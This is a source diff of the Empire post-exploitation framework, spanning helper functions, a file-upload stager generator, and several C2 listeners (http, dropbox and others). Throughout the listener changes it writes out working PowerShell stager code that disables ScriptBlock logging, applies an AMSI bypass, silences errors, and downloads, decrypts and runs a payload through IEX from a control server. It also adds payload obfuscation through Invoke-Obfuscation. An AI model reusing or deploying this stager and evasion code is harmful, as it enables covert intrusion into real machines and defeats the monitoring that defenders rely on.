return paths
|
||||
|
||||
def obfuscate(psScript, obfuscationCommand):
|
||||
def obfuscate(installPath, psScript, obfuscationCommand):
|
||||
"""
|
||||
Obfuscate PowerShell scripts using Invoke-Obfuscation
|
||||
"""
|
||||
|
@ -790,13 +799,13 @@ def obfuscate(psScript, obfuscationCommand):
|
|||
print color("[!] PowerShell is not installed and is required to use obfuscation, please install it first.")
|
||||
return ""
|
||||
# When obfuscating large scripts, command line length is too long. Need to save to temp file
|
||||
toObfuscateFilename = "data/misc/ToObfuscate.ps1"
|
||||
obfuscatedFilename = "data/misc/Obfuscated.ps1"
|
||||
toObfuscateFilename = installPath + "data/misc/ToObfuscate.ps1"
|
||||
obfuscatedFilename = installPath + "data/misc/Obfuscated.ps1"
|
||||
toObfuscateFile = open(toObfuscateFilename, 'w')
|
||||
toObfuscateFile.write(psScript)
|
||||
toObfuscateFile.close()
|
||||
# Obfuscate using Invoke-Obfuscation w/ PowerShell
|
||||
subprocess.call("powershell 'Invoke-Obfuscation -ScriptPath %s -Command \"%s\" -Quiet | Out-File -Encoding ASCII %s'" % (toObfuscateFilename, convert_obfuscation_command(obfuscationCommand), obfuscatedFilename), shell=True)
|
||||
subprocess.call("powershell -C '$ErrorActionPreference = \"SilentlyContinue\";Invoke-Obfuscation -ScriptPath %s -Command \"%s\" -Quiet | Out-File -Encoding ASCII %s'" % (toObfuscateFilename, convert_obfuscation_command(obfuscationCommand), obfuscatedFilename), shell=True)
|
||||
obfuscatedFile = open(obfuscatedFilename , 'r')
|
||||
# Obfuscation writes a newline character to the end of the file, ignoring that character
|
||||
psScript = obfuscatedFile.read()[0:-1]
|
||||
|
@ -818,7 +827,8 @@ def obfuscate_module(moduleSource, obfuscationCommand="", forceReobfuscation=Fal
|
|||
f.close()
|
||||
|
||||
# obfuscate and write to obfuscated source path
|
||||
obfuscatedCode = obfuscate(psScript=moduleCode, obfuscationCommand=obfuscationCommand)
|
||||
path = os.path.abspath('empire.py').split('empire.py')[0] + "/"
|
||||
obfuscatedCode = obfuscate(path, moduleCode, obfuscationCommand)
|
||||
obfuscatedSource = moduleSource.replace("module_source", "obfuscated_module_source")
|
||||
try:
|
||||
f = open(obfuscatedSource, 'w')
|
||||
|
@ -878,3 +888,9 @@ class KThread(threading.Thread):
|
|||
|
||||
def kill(self):
|
||||
self.killed = True
|
||||
|
||||
def slackMessage(slackToken, slackChannel, slackText):
|
||||
url = "https://slack.com/api/chat.postMessage"
|
||||
data = urllib.urlencode({'token': slackToken, 'channel':slackChannel, 'text':slackText})
|
||||
req = urllib2.Request(url, data)
|
||||
resp = urllib2.urlopen(req)
|
||||
|
|
|
@ -13,7 +13,6 @@ import pickle
|
|||
import hashlib
|
||||
import copy
|
||||
|
||||
|
||||
class Listeners:
|
||||
"""
|
||||
Listener handling class.
|
||||
|
|
|
@ -459,3 +459,18 @@ class Stagers:
|
|||
os.remove('Run.jar')
|
||||
|
||||
return jar
|
||||
|
||||
def generate_upload(self, file, path):
|
||||
script = """
|
||||
$b64 = "BASE64_BLOB_GOES_HERE"
|
||||
$filename = "FILE_UPLOAD_FULL_PATH_GOES_HERE"
|
||||
[IO.FILE]::WriteAllBytes($filename, [Convert]::FromBase64String($b64))
|
||||
|
||||
"""
|
||||
|
||||
file_encoded = base64.b64encode(file)
|
||||
|
||||
script = script.replace("BASE64_BLOB_GOES_HERE", file_encoded)
|
||||
script = script.replace("FILE_UPLOAD_FULL_PATH_GOES_HERE", path)
|
||||
|
||||
return script
|
||||
|
|
|
@ -173,17 +173,25 @@ class Listener:
|
|||
if language.startswith('po'):
|
||||
# PowerShell
|
||||
|
||||
stager = ''
|
||||
# replace with stager = '' for troubleshooting
|
||||
stager = '$ErrorActionPreference = \"SilentlyContinue\";'
|
||||
if safeChecks.lower() == 'true':
|
||||
stager = helpers.randomize_capitalization("If($PSVersionTable.PSVersion.Major -ge 3){")
|
||||
|
||||
# ScriptBlock Logging bypass
|
||||
stager = helpers.randomize_capitalization("$GroupPolicySettings = [ref].Assembly.GetType(")
|
||||
stager += helpers.randomize_capitalization("$GPS=[ref].Assembly.GetType(")
|
||||
stager += "'System.Management.Automation.Utils'"
|
||||
stager += helpers.randomize_capitalization(").\"GetFie`ld\"(")
|
||||
stager += "'cachedGroupPolicySettings', 'N'+'onPublic,Static'"
|
||||
stager += helpers.randomize_capitalization(").GetValue($null);$GroupPolicySettings")
|
||||
stager += "['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging'] = 0;"
|
||||
stager += helpers.randomize_capitalization("$GroupPolicySettings")
|
||||
stager += "['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging'] = 0;"
|
||||
stager += "'cachedGroupPolicySettings','N'+'onPublic,Static'"
|
||||
stager += helpers.randomize_capitalization(").GetValue($null);If($GPS")
|
||||
stager += "['ScriptB'+'lockLogging']"
|
||||
stager += helpers.randomize_capitalization("){$GPS")
|
||||
stager += "['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging']=0;"
|
||||
stager += helpers.randomize_capitalization("$GPS")
|
||||
stager += "['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging']=0}"
|
||||
stager += helpers.randomize_capitalization("Else{[ScriptBlock].\"GetFie`ld\"(")
|
||||
stager += "'signatures','N'+'onPublic,Static'"
|
||||
stager += helpers.randomize_capitalization(").SetValue($null,(New-Object Collections.Generic.HashSet[string]))}")
|
||||
|
||||
# @mattifestation's AMSI bypass
|
||||
stager += helpers.randomize_capitalization("[Ref].Assembly.GetType(")
|
||||
|
@ -191,6 +199,7 @@ class Listener:
|
|||
stager += helpers.randomize_capitalization(')|?{$_}|%{$_.GetField(')
|
||||
stager += "'amsiInitFailed','NonPublic,Static'"
|
||||
stager += helpers.randomize_capitalization(").SetValue($null,$true)};")
|
||||
stager += "};"
|
||||
stager += helpers.randomize_capitalization("[System.Net.ServicePointManager]::Expect100Continue=0;")
|
||||
|
||||
stager += helpers.randomize_capitalization("$wc=New-Object System.Net.WebClient;")
|
||||
|
@ -222,7 +231,7 @@ class Listener:
|
|||
password = proxyCreds.split(':')[1]
|
||||
domain = username.split('\\')[0]
|
||||
usr = username.split('\\')[1]
|
||||
stager += "$netcred = New-Object System.Net.NetworkCredential("+usr+","+password+","+domain+");"
|
||||
stager += "$netcred = New-Object System.Net.NetworkCredential('"+usr+"','"+password+"','"+domain+"');"
|
||||
stager += helpers.randomize_capitalization("$wc.Proxy.Credentials = $netcred;")
|
||||
|
||||
#save the proxy settings to use during the entire staging process and the agent
|
||||
|
@ -252,7 +261,7 @@ class Listener:
|
|||
stager += helpers.randomize_capitalization("-join[Char[]](& $R $data ($IV+$K))|IEX")
|
||||
|
||||
if obfuscate:
|
||||
stager = helpers.obfuscate(stager, obfuscationCommand=obfuscationCommand)
|
||||
stager = helpers.obfuscate(self.mainMenu.installPath, stager, obfuscationCommand=obfuscationCommand)
|
||||
# base64 encode the stager and return it
|
||||
if encode and ((not obfuscate) or ("launcher" not in obfuscationCommand.lower())):
|
||||
return helpers.powershell_launcher(stager, launcher)
|
||||
|
@ -307,7 +316,7 @@ class Listener:
|
|||
launcherBase += "proxy_auth_handler = urllib2.ProxyBasicAuthHandler();\n"
|
||||
username = proxyCreds.split(':')[0]
|
||||
password = proxyCreds.split(':')[1]
|
||||
launcherBase += "proxy_auth_handler.add_password(None,"+proxy+","+username+","+password+");\n"
|
||||
launcherBase += "proxy_auth_handler.add_password(None,'"+proxy+"','"+username+"','"+password+"');\n"
|
||||
launcherBase += "o = urllib2.build_opener(proxy, proxy_auth_handler);\n"
|
||||
else:
|
||||
launcherBase += "o = urllib2.build_opener(proxy);\n"
|
||||
|
@ -484,7 +493,7 @@ class Listener:
|
|||
#strip out comments and blank lines
|
||||
code = helpers.strip_python_comments(code)
|
||||
|
||||
#patch some more
|
||||
#patch some more
|
||||
code = code.replace('delay = 60', 'delay = %s' % (delay))
|
||||
code = code.replace('jitter = 0.0', 'jitter = %s' % (jitter))
|
||||
code = code.replace('profile = "/admin/get.php,/news.php,/login/process.php|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"', 'profile = "%s"' % (profile))
|
||||
|
@ -661,16 +670,16 @@ def send_message(packets=None):
|
|||
except:
|
||||
pass
|
||||
|
||||
|
||||
|
||||
if packets:
|
||||
data = ''.join(packets)
|
||||
# aes_encrypt_then_hmac is in stager.py
|
||||
encData = aes_encrypt_then_hmac(key, data)
|
||||
data = build_routing_packet(stagingKey, sessionID, meta=5, encData=encData)
|
||||
#check to see if there are any results already present
|
||||
|
||||
|
||||
headers['Dropbox-API-Arg'] = "{\\"path\\":\\"%s/%s.txt\\"}" % (resultsFolder, sessionID)
|
||||
|
||||
|
||||
try:
|
||||
pkdata = post_message('https://content.dropboxapi.com/2/files/download', data=None, headers=headers)
|
||||
except:
|
||||
|
@ -953,7 +962,7 @@ def send_message(packets=None):
|
|||
dbx.files_delete(fileName)
|
||||
except dropbox.exceptions.ApiError:
|
||||
dispatcher.send("[!] Error deleting data at '%s'" % (fileName), sender="listeners/dropbox")
|
||||
|
||||
|
||||
self.mainMenu.agents.handle_agent_data(stagingKey, responseData, listenerOptions)
|
||||
|
||||
|
||||
|
|
|
@ -7,7 +7,6 @@ import time
|
|||
import copy
|
||||
from pydispatch import dispatcher
|
||||
from flask import Flask, request, make_response
|
||||
import pdb
|
||||
# Empire imports
|
||||
from lib.common import helpers
|
||||
from lib.common import agents
|
||||
|
@ -106,6 +105,36 @@ class Listener:
|
|||
'Description' : 'Server header for the control server.',
|
||||
'Required' : True,
|
||||
'Value' : 'Microsoft-IIS/7.5'
|
||||
},
|
||||
'StagerURI' : {
|
||||
'Description' : 'URI for the stager. Example: stager.php',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'UserAgent' : {
|
||||
'Description' : 'User-agent string to use for the staging request (default, none, or other).',
|
||||
'Required' : False,
|
||||
'Value' : 'default'
|
||||
},
|
||||
'Proxy' : {
|
||||
'Description' : 'Proxy to use for request (default, none, or other).',
|
||||
'Required' : False,
|
||||
'Value' : 'default'
|
||||
},
|
||||
'ProxyCreds' : {
|
||||
'Description' : 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).',
|
||||
'Required' : False,
|
||||
'Value' : 'default'
|
||||
},
|
||||
'SlackToken' : {
|
||||
'Description' : 'Your SlackBot API token to communicate with your Slack instance.',
|
||||
'Required' : False,
|
||||
'Value' : ''
|
||||
},
|
||||
'SlackChannel' : {
|
||||
'Description' : 'The Slack channel or DM that notifications will be sent to.',
|
||||
'Required' : False,
|
||||
'Value' : '#general'
|
||||
}
|
||||
}
|
||||
|
||||
|
@ -170,17 +199,24 @@ class Listener:
|
|||
if language.startswith('po'):
|
||||
# PowerShell
|
||||
|
||||
stager = ''
|
||||
stager = '$ErrorActionPreference = \"SilentlyContinue\";'
|
||||
if safeChecks.lower() == 'true':
|
||||
stager = helpers.randomize_capitalization("If($PSVersionTable.PSVersion.Major -ge 3){")
|
||||
|
||||
# ScriptBlock Logging bypass
|
||||
stager = helpers.randomize_capitalization("$GroupPolicySettings = [ref].Assembly.GetType(")
|
||||
stager += helpers.randomize_capitalization("$GPS=[ref].Assembly.GetType(")
|
||||
stager += "'System.Management.Automation.Utils'"
|
||||
stager += helpers.randomize_capitalization(").\"GetFie`ld\"(")
|
||||
stager += "'cachedGroupPolicySettings', 'N'+'onPublic,Static'"
|
||||
stager += helpers.randomize_capitalization(").GetValue($null);$GroupPolicySettings")
|
||||
stager += "['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging'] = 0;"
|
||||
stager += helpers.randomize_capitalization("$GroupPolicySettings")
|
||||
stager += "['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging'] = 0;"
|
||||
stager += "'cachedGroupPolicySettings','N'+'onPublic,Static'"
|
||||
stager += helpers.randomize_capitalization(").GetValue($null);If($GPS")
|
||||
stager += "['ScriptB'+'lockLogging']"
|
||||
stager += helpers.randomize_capitalization("){$GPS")
|
||||
stager += "['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging']=0;"
|
||||
stager += helpers.randomize_capitalization("$GPS")
|
||||
stager += "['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging']=0}"
|
||||
stager += helpers.randomize_capitalization("Else{[ScriptBlock].\"GetFie`ld\"(")
|
||||
stager += "'signatures','N'+'onPublic,Static'"
|
||||
stager += helpers.randomize_capitalization(").SetValue($null,(New-Object Collections.Generic.HashSet[string]))}")
|
||||
|
||||
# @mattifestation's AMSI bypass
|
||||
stager += helpers.randomize_capitalization("[Ref].Assembly.GetType(")
|
||||
|
@ -188,6 +224,7 @@ class Listener:
|
|||
stager += helpers.randomize_capitalization(')|?{$_}|%{$_.GetField(')
|
||||
stager += "'amsiInitFailed','NonPublic,Static'"
|
||||
stager += helpers.randomize_capitalization(").SetValue($null,$true)};")
|
||||
stager += "};"
|
||||
stager += helpers.randomize_capitalization("[System.Net.ServicePointManager]::Expect100Continue=0;")
|
||||
|
||||
stager += helpers.randomize_capitalization("$wc=New-Object System.Net.WebClient;")
|
||||
|
@ -223,7 +260,7 @@ class Listener:
|
|||
password = proxyCreds.split(':')[1]
|
||||
domain = username.split('\\')[0]
|
||||
usr = username.split('\\')[1]
|
||||
stager += "$netcred = New-Object System.Net.NetworkCredential("+usr+","+password+","+domain+");"
|
||||
stager += "$netcred = New-Object System.Net.NetworkCredential('"+usr+"','"+password+"','"+domain+"');"
|
||||
stager += helpers.randomize_capitalization("$wc.Proxy.Credentials = $netcred;")
|
||||
|
||||
#save the proxy settings to use during the entire staging process and the agent
|
||||
|
@ -239,7 +276,7 @@ class Listener:
|
|||
if "https" in host:
|
||||
host = 'https://' + '[' + str(bindIP) + ']' + ":" + str(port)
|
||||
else:
|
||||
host = 'http://' + '[' + str(bindIP) + ']' + ":" + str(port)
|
||||
host = 'http://' + '[' + str(bindIP) + ']' + ":" + str(port)
|
||||
|
||||
# code to turn the key string into a byte array
|
||||
stager += helpers.randomize_capitalization("$K=[System.Text.Encoding]::ASCII.GetBytes(")
|
||||
|
@ -276,9 +313,9 @@ class Listener:
|
|||
|
||||
# decode everything and kick it over to IEX to kick off execution
|
||||
stager += helpers.randomize_capitalization("-join[Char[]](& $R $data ($IV+$K))|IEX")
|
||||
|
||||
|
||||
if obfuscate:
|
||||
stager = helpers.obfuscate(stager, obfuscationCommand=obfuscationCommand)
|
||||
stager = helpers.obfuscate(self.mainMenu.installPath, stager, obfuscationCommand=obfuscationCommand)
|
||||
# base64 encode the stager and return it
|
||||
if encode and ((not obfuscate) or ("launcher" not in obfuscationCommand.lower())):
|
||||
return helpers.powershell_launcher(stager, launcher)
|
||||
|
@ -318,7 +355,7 @@ class Listener:
|
|||
# prebuild the request routing packet for the launcher
|
||||
routingPacket = packets.build_routing_packet(stagingKey, sessionID='00000000', language='PYTHON', meta='STAGE0', additional='None', encData='')
|
||||
b64RoutingPacket = base64.b64encode(routingPacket)
|
||||
|
||||
|
||||
launcherBase += "req=urllib2.Request(server+t);\n"
|
||||
# add the RC4 packet to a cookie
|
||||
launcherBase += "req.add_header('User-Agent',UA);\n"
|
||||
|
@ -332,7 +369,7 @@ class Listener:
|
|||
#launcherBase += ",\"%s\":\"%s\"" % (headerKey, headerValue)
|
||||
launcherBase += "req.add_header(\"%s\",\"%s\");\n" % (headerKey, headerValue)
|
||||
|
||||
|
||||
|
||||
if proxy.lower() != "none":
|
||||
if proxy.lower() == "default":
|
||||
launcherBase += "proxy = urllib2.ProxyHandler();\n"
|
||||
|
@ -347,7 +384,7 @@ class Listener:
|
|||
launcherBase += "proxy_auth_handler = urllib2.ProxyBasicAuthHandler();\n"
|
||||
username = proxyCreds.split(':')[0]
|
||||
password = proxyCreds.split(':')[1]
|
||||
launcherBase += "proxy_auth_handler.add_password(None,"+proxy+","+username+","+password+");\n"
|
||||
launcherBase += "proxy_auth_handler.add_password(None,'"+proxy+"','"+username+"','"+password+"');\n"
|
||||
launcherBase += "o = urllib2.build_opener(proxy, proxy_auth_handler);\n"
|
||||
else:
|
||||
launcherBase += "o = urllib2.build_opener(proxy);\n"
|
||||
|
@ -358,7 +395,7 @@ class Listener:
|
|||
launcherBase += "urllib2.install_opener(o);\n"
|
||||
|
||||
# download the stager and extract the IV
|
||||
|
||||
|
||||
launcherBase += "a=urllib2.urlopen(req).read();\n"
|
||||
launcherBase += "IV=a[0:4];"
|
||||
launcherBase += "data=a[4:];"
|
||||
|
@ -400,11 +437,13 @@ class Listener:
|
|||
print helpers.color('[!] listeners/http generate_stager(): no language specified!')
|
||||
return None
|
||||
|
||||
|
||||
profile = listenerOptions['DefaultProfile']['Value']
|
||||
uris = [a.strip('/') for a in profile.split('|')[0].split(',')]
|
||||
launcher = listenerOptions['Launcher']['Value']
|
||||
stagingKey = listenerOptions['StagingKey']['Value']
|
||||
workingHours = listenerOptions['WorkingHours']['Value']
|
||||
killDate = listenerOptions['KillDate']['Value']
|
||||
host = listenerOptions['Host']['Value']
|
||||
customHeaders = profile.split('|')[2:]
|
||||
|
||||
|
@ -432,6 +471,10 @@ class Listener:
|
|||
if workingHours != "":
|
||||
stager = stager.replace('WORKING_HOURS_REPLACE', workingHours)
|
||||
|
||||
#Patch in the killdate, if any
|
||||
if killDate != "":
|
||||
stager = stager.replace('REPLACE_KILLDATE', killDate)
|
||||
|
||||
# patch the server and key information
|
||||
stager = stager.replace('REPLACE_SERVER', host)
|
||||
stager = stager.replace('REPLACE_STAGING_KEY', stagingKey)
|
||||
|
@ -449,7 +492,7 @@ class Listener:
|
|||
randomizedStager += helpers.randomize_capitalization(line)
|
||||
else:
|
||||
randomizedStager += line
|
||||
|
||||
|
||||
if obfuscate:
|
||||
randomizedStager = helpers.obfuscate(randomizedStager, obfuscationCommand=obfuscationCommand)
|
||||
# base64 encode the stager and return it
|
||||
|
@ -473,6 +516,12 @@ class Listener:
|
|||
if host.endswith("/"):
|
||||
host = host[0:-1]
|
||||
|
||||
if workingHours != "":
|
||||
stager = stager.replace('SET_WORKINGHOURS', workingHours)
|
||||
|
||||
if killDate != "":
|
||||
stager = stager.replace('SET_KILLDATE', killDate)
|
||||
|
||||
# # patch the server and key information
|
||||
stager = stager.replace("REPLACE_STAGING_KEY", stagingKey)
|
||||
stager = stager.replace("REPLACE_PROFILE", profile)
|
||||
|
@ -606,7 +655,7 @@ class Listener:
|
|||
if($Script:Proxy) {
|
||||
$wc.Proxy = $Script:Proxy;
|
||||
}
|
||||
|
||||
|
||||
$wc.Headers.Add("User-Agent",$script:UserAgent)
|
||||
$script:Headers.GetEnumerator() | % {$wc.Headers.Add($_.Name, $_.Value)}
|
||||
$wc.Headers.Add("Cookie", "session=$RoutingCookie")
|
||||
|
@ -648,7 +697,7 @@ class Listener:
|
|||
if($Script:Proxy) {
|
||||
$wc.Proxy = $Script:Proxy;
|
||||
}
|
||||
|
||||
|
||||
$wc.Headers.Add('User-Agent', $Script:UserAgent)
|
||||
$Script:Headers.GetEnumerator() | ForEach-Object {$wc.Headers.Add($_.Name, $_.Value)}
|
||||
|
||||
|
@ -742,10 +791,23 @@ def send_message(packets=None):
|
|||
host = listenerOptions['Host']['Value']
|
||||
port = listenerOptions['Port']['Value']
|
||||
stagingKey = listenerOptions['StagingKey']['Value']
|
||||
stagerURI = listenerOptions['StagerURI']['Value']
|
||||
userAgent = self.options['UserAgent']['Value']
|
||||
listenerName = self.options['Name']['Value']
|
||||
proxy = self.options['Proxy']['Value']
|
||||
proxyCreds = self.options['ProxyCreds']['Value']
|
||||
|
||||
app = Flask(__name__)
|
||||
self.app = app
|
||||
|
||||
|
||||
@app.route('/<string:stagerURI>')
|
||||
def send_stager(stagerURI):
|
||||
if stagerURI:
|
||||
launcher = self.mainMenu.stagers.generate_launcher(listenerName, language='powershell', encode=False, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds)
|
||||
return launcher
|
||||
else:
|
||||
pass
|
||||
@app.before_request
|
||||
def check_ip():
|
||||
"""
|
||||
|
|
|
@ -170,17 +170,24 @@ class Listener:
|
|||
if language.startswith('po'):
|
||||
# PowerShell
|
||||
|
||||
stager = ''
|
||||
stager = '$ErrorActionPreference = \"SilentlyContinue\";'
|
||||
if safeChecks.lower() == 'true':
|
||||
stager = helpers.randomize_capitalization("If($PSVersionTable.PSVersion.Major -ge 3){")
|
||||
|
||||
# ScriptBlock Logging bypass
|
||||
stager = helpers.randomize_capitalization("$GroupPolicySettings = [ref].Assembly.GetType(")
|
||||
stager += helpers.randomize_capitalization("$GPS=[ref].Assembly.GetType(")
|
||||
stager += "'System.Management.Automation.Utils'"
|
||||
stager += helpers.randomize_capitalization(").\"GetFie`ld\"(")
|
||||
stager += "'cachedGroupPolicySettings', 'N'+'onPublic,Static'"
|
||||
stager += helpers.randomize_capitalization(").GetValue($null);$GroupPolicySettings")
|
||||
stager += "['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging'] = 0;"
|
||||
stager += helpers.randomize_capitalization("$GroupPolicySettings")
|
||||
stager += "['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging'] = 0;"
|
||||
stager += "'cachedGroupPolicySettings','N'+'onPublic,Static'"
|
||||
stager += helpers.randomize_capitalization(").GetValue($null);If($GPS")
|
||||
stager += "['ScriptB'+'lockLogging']"
|
||||
stager += helpers.randomize_capitalization("){$GPS")
|
||||
stager += "['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging']=0;"
|
||||
stager += helpers.randomize_capitalization("$GPS")
|
||||
stager += "['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging']=0}"
|
||||
stager += helpers.randomize_capitalization("Else{[ScriptBlock].\"GetFie`ld\"(")
|
||||
stager += "'signatures','N'+'onPublic,Static'"
|
||||
stager += helpers.randomize_capitalization(").SetValue($null,(New-Object Collections.Generic.HashSet[string]))}")
|
||||
|
||||
# @mattifestation's AMSI bypass
|
||||
stager += helpers.randomize_capitalization("[Ref].Assembly.GetType(")
|
||||
|
@ -188,6 +195,7 @@ class Listener:
|
|||
stager += helpers.randomize_capitalization(')|?{$_}|%{$_.GetField(')
|
||||
stager += "'amsiInitFailed','NonPublic,Static'"
|
||||
stager += helpers.randomize_capitalization(").SetValue($null,$true)};")
|
||||
stager += "};"
|
||||
stager += helpers.randomize_capitalization("[System.Net.ServicePointManager]::Expect100Continue=0;")
|
||||
|
||||
# TODO: reimplement stager retries?
|
||||
|
@ -227,7 +235,7 @@ class Listener:
|
|||
stager += helpers.randomize_capitalization("-join[Char[]](& $R $data ($IV+$K))|IEX")
|
||||
|
||||
if obfuscate:
|
||||
stager = helpers.obfuscate(stager, self.mainMenu.installPath, obfuscationCommand=obfuscationCommand)
|
||||
stager = helpers.obfuscate(self.mainMenu.installPath, stager, obfuscationCommand=obfuscationCommand)
|
||||
# base64 encode the stager and return it
|
||||
if encode and ((not obfuscate) or ("launcher" not in obfuscationCommand.lower())):
|
||||
return helpers.powershell_launcher(stager, launcher)
|
||||
|
|
|
@ -141,21 +141,28 @@ class Listener:
|
|||
uris = [a for a in profile.split('|')[0].split(',')]
|
||||
stage0 = random.choice(uris)
|
||||
customHeaders = profile.split('|')[2:]
|
||||
|
||||
|
||||
if language.startswith('po'):
|
||||
# PowerShell
|
||||
|
||||
stager = ''
|
||||
stager = '$ErrorActionPreference = \"SilentlyContinue\";'
|
||||
if safeChecks.lower() == 'true':
|
||||
stager = helpers.randomize_capitalization("If($PSVersionTable.PSVersion.Major -ge 3){")
|
||||
|
||||
# ScriptBlock Logging bypass
|
||||
stager = helpers.randomize_capitalization("$GroupPolicySettings = [ref].Assembly.GetType(")
|
||||
stager += helpers.randomize_capitalization("$GPS=[ref].Assembly.GetType(")
|
||||
stager += "'System.Management.Automation.Utils'"
|
||||
stager += helpers.randomize_capitalization(").\"GetFie`ld\"(")
|
||||
stager += "'cachedGroupPolicySettings', 'N'+'onPublic,Static'"
|
||||
stager += helpers.randomize_capitalization(").GetValue($null);$GroupPolicySettings")
|
||||
stager += "['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging'] = 0;"
|
||||
stager += helpers.randomize_capitalization("$GroupPolicySettings")
|
||||
stager += "['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging'] = 0;"
|
||||
stager += "'cachedGroupPolicySettings','N'+'onPublic,Static'"
|
||||
stager += helpers.randomize_capitalization(").GetValue($null);If($GPS")
|
||||
stager += "['ScriptB'+'lockLogging']"
|
||||
stager += helpers.randomize_capitalization("){$GPS")
|
||||
stager += "['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging']=0;"
|
||||
stager += helpers.randomize_capitalization("$GPS")
|
||||
stager += "['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging']=0}"
|
||||
stager += helpers.randomize_capitalization("Else{[ScriptBlock].\"GetFie`ld\"(")
|
||||
stager += "'signatures','N'+'onPublic,Static'"
|
||||
stager += helpers.randomize_capitalization(").SetValue($null,(New-Object Collections.Generic.HashSet[string]))}")
|
||||
|
||||
# @mattifestation's AMSI bypass
|
||||
stager += helpers.randomize_capitalization("[Ref].Assembly.GetType(")
|
||||
|
@ -163,8 +170,9 @@ class Listener:
|
|||
stager += helpers.randomize_capitalization(')|?{$_}|%{$_.GetField(')
|
||||
stager += "'amsiInitFailed','NonPublic,Static'"
|
||||
stager += helpers.randomize_capitalization(").SetValue($null,$true)};")
|
||||
stager += "};"
|
||||
stager += helpers.randomize_capitalization("[System.Net.ServicePointManager]::Expect100Continue=0;")
|
||||
|
||||
|
||||
stager += helpers.randomize_capitalization("$wc=New-Object System.Net.WebClient;")
|
||||
|
||||
if userAgent.lower() == 'default':
|
||||
|
@ -198,7 +206,7 @@ class Listener:
|
|||
password = proxyCreds.split(':')[1]
|
||||
domain = username.split('\\')[0]
|
||||
usr = username.split('\\')[1]
|
||||
stager += "$netcred = New-Object System.Net.NetworkCredential("+usr+","+password+","+domain+");"
|
||||
stager += "$netcred = New-Object System.Net.NetworkCredential('"+usr+"','"+password+"','"+domain+"');"
|
||||
stager += helpers.randomize_capitalization("$wc.Proxy.Credentials = $netcred;")
|
||||
|
||||
# TODO: reimplement stager retries?
|
||||
|
@ -210,7 +218,7 @@ class Listener:
|
|||
headerValue = header.split(':')[1]
|
||||
stager += helpers.randomize_capitalization("$wc.Headers.Add(")
|
||||
stager += "\"%s\",\"%s\");" % (headerKey, headerValue)
|
||||
|
||||
|
||||
# code to turn the key string into a byte array
|
||||
stager += helpers.randomize_capitalization("$K=[System.Text.Encoding]::ASCII.GetBytes(")
|
||||
stager += "'%s');" % (stagingKey)
|
||||
|
@ -234,7 +242,7 @@ class Listener:
|
|||
stager += helpers.randomize_capitalization("-join[Char[]](& $R $data ($IV+$K))|IEX")
|
||||
|
||||
if obfuscate:
|
||||
stager = helpers.obfuscate(stager, self.mainMenu.installPath, obfuscationCommand=obfuscationCommand)
|
||||
stager = helpers.obfuscate(self.mainMenu.installPath, stager, obfuscationCommand=obfuscationCommand)
|
||||
# base64 encode the stager and return it
|
||||
if encode and ((not obfuscate) or ("launcher" not in obfuscationCommand.lower())):
|
||||
return helpers.powershell_launcher(stager, launcher)
|
||||
|
@ -294,7 +302,7 @@ class Listener:
|
|||
launcherBase += "proxy_auth_handler = urllib2.ProxyBasicAuthHandler();\n"
|
||||
username = proxyCreds.split(':')[0]
|
||||
password = proxyCreds.split(':')[1]
|
||||
launcherBase += "proxy_auth_handler.add_password(None,"+proxy+","+username+","+password+");\n"
|
||||
launcherBase += "proxy_auth_handler.add_password(None,'"+proxy+"','"+username+"','"+password+"');\n"
|
||||
launcherBase += "o = urllib2.build_opener(proxy, proxy_auth_handler);\n"
|
||||
else:
|
||||
launcherBase += "o = urllib2.build_opener(proxy);\n"
|
||||
|
@ -363,12 +371,12 @@ class Listener:
|
|||
|
||||
if language:
|
||||
if language.lower() == 'powershell':
|
||||
|
||||
|
||||
updateServers = """
|
||||
$Script:ControlServers = @("%s");
|
||||
$Script:ServerIndex = 0;
|
||||
""" % (listenerOptions['Host']['Value'])
|
||||
|
||||
|
||||
getTask = """
|
||||
function script:Get-Task {
|
||||
|
||||
|
|
|
@ -124,17 +124,24 @@ class Listener:
|
|||
if language.startswith('po'):
|
||||
# PowerShell
|
||||
|
||||
stager = ''
|
||||
stager = '$ErrorActionPreference = \"SilentlyContinue\";'
|
||||
if safeChecks.lower() == 'true':
|
||||
stager = helpers.randomize_capitalization("If($PSVersionTable.PSVersion.Major -ge 3){")
|
||||
|
||||
# ScriptBlock Logging bypass
|
||||
stager = helpers.randomize_capitalization("$GroupPolicySettings = [ref].Assembly.GetType(")
|
||||
stager += helpers.randomize_capitalization("$GPS=[ref].Assembly.GetType(")
|
||||
stager += "'System.Management.Automation.Utils'"
|
||||
stager += helpers.randomize_capitalization(").\"GetFie`ld\"(")
|
||||
stager += "'cachedGroupPolicySettings', 'N'+'onPublic,Static'"
|
||||
stager += helpers.randomize_capitalization(").GetValue($null);$GroupPolicySettings")
|
||||
stager += "['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging'] = 0;"
|
||||
stager += helpers.randomize_capitalization("$GroupPolicySettings")
|
||||
stager += "['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging'] = 0;"
|
||||
stager += "'cachedGroupPolicySettings','N'+'onPublic,Static'"
|
||||
stager += helpers.randomize_capitalization(").GetValue($null);If($GPS")
|
||||
stager += "['ScriptB'+'lockLogging']"
|
||||
stager += helpers.randomize_capitalization("){$GPS")
|
||||
stager += "['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging']=0;"
|
||||
stager += helpers.randomize_capitalization("$GPS")
|
||||
